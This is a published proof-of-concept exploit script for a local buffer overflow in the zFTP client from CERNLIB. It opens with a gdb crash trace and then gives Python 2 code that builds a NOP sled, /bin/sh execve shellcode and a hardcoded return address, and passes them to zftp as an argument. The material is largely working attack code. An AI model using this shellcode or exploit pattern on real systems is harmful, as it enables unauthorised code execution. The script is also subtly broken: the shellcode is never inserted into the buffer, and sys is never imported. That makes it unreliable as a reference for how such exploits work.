zFTP 20061220+dfsg3-4.1 Buffer Overflow

`# Exploit developed using Exploit Pack v5.4  
# Exploit Author: Juan Sacco - http://www.exploitpack.com -  
# [email protected]  
# Program affected: zFTP Client  
# Affected value: NAME under FTP connection  
# Where in the code: Line 30 in strcpy_chk.c  
# __strcpy_chk (dest=0xb7f811c0 <cdf_value> "/KUIP", src=0xb76a6680  
"/MACRO", destlen=0x50) at strcpy_chk.c:30  
# Version: 20061220+dfsg3-4.1  
#  
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org  
# Program description: ZFTP is a macro-extensible file transfer  
program which supports the  
# transfer of formatted, unformatted and ZEBRA RZ files  
# Kali Linux 2.0 package: pool/main/c/cernlib/zftp_20061220+dfsg3-4.1_i386.deb  
# MD5sum: 524217187d28e4444d6c437ddd37e4de  
# Website: http://cernlib.web.cern.ch/cernlib/  
#  
# gdb$ run `python -c 'print "A"*30'`  
# Starting program: /usr/bin/zftp `python -c 'print "A"*30'`  
# *** buffer overflow detected ***: /usr/bin/zftp terminated  
# ======= Backtrace: =========  
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb6fd1773]  
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7061b85]  
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb705fc3a]  
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb705f127]  
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup+0x1a4)[0xb7417864]  
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup_+0x24)[0xb7418604]  
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(czopen_+0xd4)[0xb73f6d14]  
# /usr/bin/zftp[0x804dc9b]  
  
import os, subprocess  
  
def run():  
try:  
print "# zFTP Client - Local Buffer Overflow by Juan Sacco"  
print "# This Exploit has been developed using Exploit Pack -  
http://exploitpack.com"  
# NOPSLED + SHELLCODE + EIP  
  
buffersize = 100  
nopsled = "\x90"*30  
shellcode =  
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  
eip = "\x40\xf3\xff\xbf"  
buffer = nopsled * (buffersize-len(shellcode)) + eip  
subprocess.call(["zftp ",' ', buffer])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "Sorry, zFTP client- Not found!"  
else:  
print "Error executing exploit"  
raise  
  
def howtousage():  
print "Snap! Something went wrong"  
sys.exit(-1)  
  
if __name__ == '__main__':  
try:  
print "Exploit zFTP Client - Local Overflow Exploit"  
print "Author: Juan Sacco - Exploit Pack"  
except IndexError:  
howtousage()  
run()  
`